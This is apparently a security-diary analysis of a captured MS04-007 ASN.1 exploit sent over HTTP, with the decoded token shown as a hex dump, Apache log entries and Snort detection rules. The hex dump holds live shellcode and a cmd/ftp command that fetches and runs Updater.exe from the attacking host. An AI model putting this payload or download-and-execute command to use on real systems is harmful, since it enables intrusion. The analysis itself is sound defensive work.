ASN.1 Attacks / MS04-007

Published: 2006-07-28
Last Updated: 2006-07-29 22:30:50 UTC
by Johannes Ullrich (Version: 1)
0 comment(s)
ASN.1 attacks are nothing new, neither is MS04-007. But they are still popular and I figure it may be interesting to look at a recent attack in a bit more detail and to show a couple tools to quickly figure out whats going on.

The traffic was collected at a development server of mine. It is connected to a cable modem via a firewall. The firewall logs every packet to/from the server which provides for nice detailed logs. I am only able to quote excerpts here as the packet is long/messy. In order to allow you to follow along, I made the packets of interest available here.

The packet of interest is the GET request:
GET / HTTP/1.0  
Host: a.b.145.11
Authorization: Negotiate YIIQeg...[long messy string]...RERE==
This particular authorization method is defined in RFC 4559, "SPNEGO-based Kerberos and NTLM HTTP Authentication in Microsoft Windows". The "long messy string" is the authentication token, and the web server should use it to authenticate the user. The RFC states that it is a "companion to the HTTP/1.1 specification", so the use of HTTP/1.0 is at least "odd" in the sample above.

MS04-007 details a vulnerability in Microsoft's ASN.1 parser. This parser is used by a number of subsystems in Windows, one of which is the decoding of these authentication tokens. The same vulnerability can be exploited via SMB or HTTP, using essentially the same exploit. In the HTTP case, the exploit has to be Base64 encoded. Only after decoding the token is it passed to the vulnerable ASN.1 parser. So lets look at the decode of the authentication token. To decode it, I used a little perl script:
use MIME::Base64;
print decode_base64("... long messy string... ==");

Sure, there are probably existing tools to decode this, but I try to limit the size of my tool box and tend to use these one liners for simple stuff like that.

Let's pipe the output of this script through "xxd" and we get:

0000000: 6082 107a 0606 2b06 0105 0502 a082 106e `..z..+........n
0000010: 3082 106a a182 1066 2382 1062 0382 0401 0..j...f#..b....
0000020: 0041 4141 4141 4141 4141 4141 4141 4141 .AAAAAAAAAAAAAAA
0000030: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
... more 'AAAAA' ...
0000410: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0000420: 4103 0023 820c 5703 8204 0a00 9042 9042 A..#..W......B.B
0000430: 9042 9042 81c4 54f2 ffff fce8 4600 0000 .B.B..T.....F...
0000440: 8b45 3c8b 7c05 7801 ef8b 4f18 8b5f 2001 .E<.|.x...O.._ .
0000450: ebe3 2e49 8b34 8b01 ee31 c099 ac84 c074 ...I.4...1.....t
0000460: 07c1 ca0d 01c2 ebf4 3b54 2404 75e3 8b5f ........;T$.u.._
0000470: 2401 eb66 8b0c 4b8b 5f1c 01eb 8b1c 8b01 $..f..K._.......
0000480: eb89 5c24 04c3 31c0 648b 4030 85c0 780f ..\$..1.d.@0..x.
0000490: 8b40 0c8b 701c ad8b 6808 e90b 0000 008b .@..p...h.......
00004a0: 4034 057c 0000 008b 683c 5f31 f660 56eb @4.|....h<_1.`V.
00004b0: 0d68 efce e060 6898 fe8a 0e57 ffe7 e8ee .h...`h....W....
00004c0: ffff ff63 6d64 202f 6b20 6563 686f 206f ...cmd /k echo o
00004d0: 7065 6e20 302e 302e 302e 3020 3234 3730 pen 2470
00004e0: 3620 3e20 6f26 6563 686f 2075 7365 7220 6 > o&echo user
00004f0: 3120 3120 3e3e 206f 2026 6563 686f 2067 1 1 >> o &echo g
0000500: 6574 2055 7064 6174 6572 2e65 7865 203e et Updater.exe >
0000510: 3e20 6f20 2665 6368 6f20 7175 6974 203e > o &echo quit >
0000520: 3e20 6f20 2666 7470 202d 6e20 2d73 3a6f > o &ftp -n -s:o
0000530: 2026 6465 6c20 2f46 202f 5120 6f20 2655 &del /F /Q o &U
0000540: 7064 6174 6572 2e65 7865 0d0a 0042 4242 pdater.exe...BBB
0000550: 4242 4242 4242 4242 4242 4242 4242 4242 BBBBBBBBBBBBBBBB
... more 'BBBBBB' ...

Nice! We got the payload of the exploit nicely decoded without haveing to speak too much opcode. Essentially the exploit attempts to run 'ftp' on my system to pull a second stage from the infecting host. The IP address is not obfuscated here. I assume whoever wrote this particular bot messed up coding the source IP and ended up with And ftp server was listening on port 24706 at the attacking host. But it appeared to be too busy to let me download 'Updater.exe'. The attacking host was notified and has been cleaned.

Now in this case, the target was an Apache web server. The corresponding access and error logs from this attacks are:

Error Log:
[error] [client a.b.77.83] client used wrong authentication scheme: /

Access Log:
"GET / HTTP/1.0" 401 127 "-" "-"
The current snort ruleset uses this rule to detect MS04-007 over http:
(msg:"WEB-IIS NTLM ASN.1 vulnerability scan attempt";
content:"Authorization|3A| Negotiate
reference:bugtraq,9633; reference:bugtraq,9635; reference:cve,2003-0818;
reference:nessus,12052; reference:nessus,12055; reference:nessus,12065;
classtype:attempted-dos; sid:2386; rev:10;)

Note that this rule would not detect the particular version of the exploit shown here. If you run the packet capture posted above through snort, you will get however one alert from the http_inspect preprocessor:

[**] [119:15:1] (http_inspect) OVERSIZE REQUEST-URI DIRECTORY [**]
07/24-20:55:13.549206 a.b.77.83:2677 -> a.b.145.11:80
TCP TTL:112 TOS:0x20 ID:35513 IpLen:20 DgmLen:1500 DF
***A**** Seq: 0x31BB3658 Ack: 0xAD36B5D8 Win: 0xFFFF TcpLen: 20

(note that you have to use the '-k none' switch to ignore bad checksums).

A better rule may be:
content:"Authorization|3A|"; content: "Negotiate"; \
content: !"0a"; within: 100;

Which would just look for overly long 'Authorization: Negotiate' lines. I split up the 'Authorization: Negotiate' string to allow for various spaces and such. "nocase" may be another option to chose to make this rule safer. The RFC at first glance does not specify a maximum length for the authentication tokens, so your mileage may vary. With http_inspect enabled, you will get two alerts. One from your rule, and one from http_inspect.

0 comment(s)


Diary Archives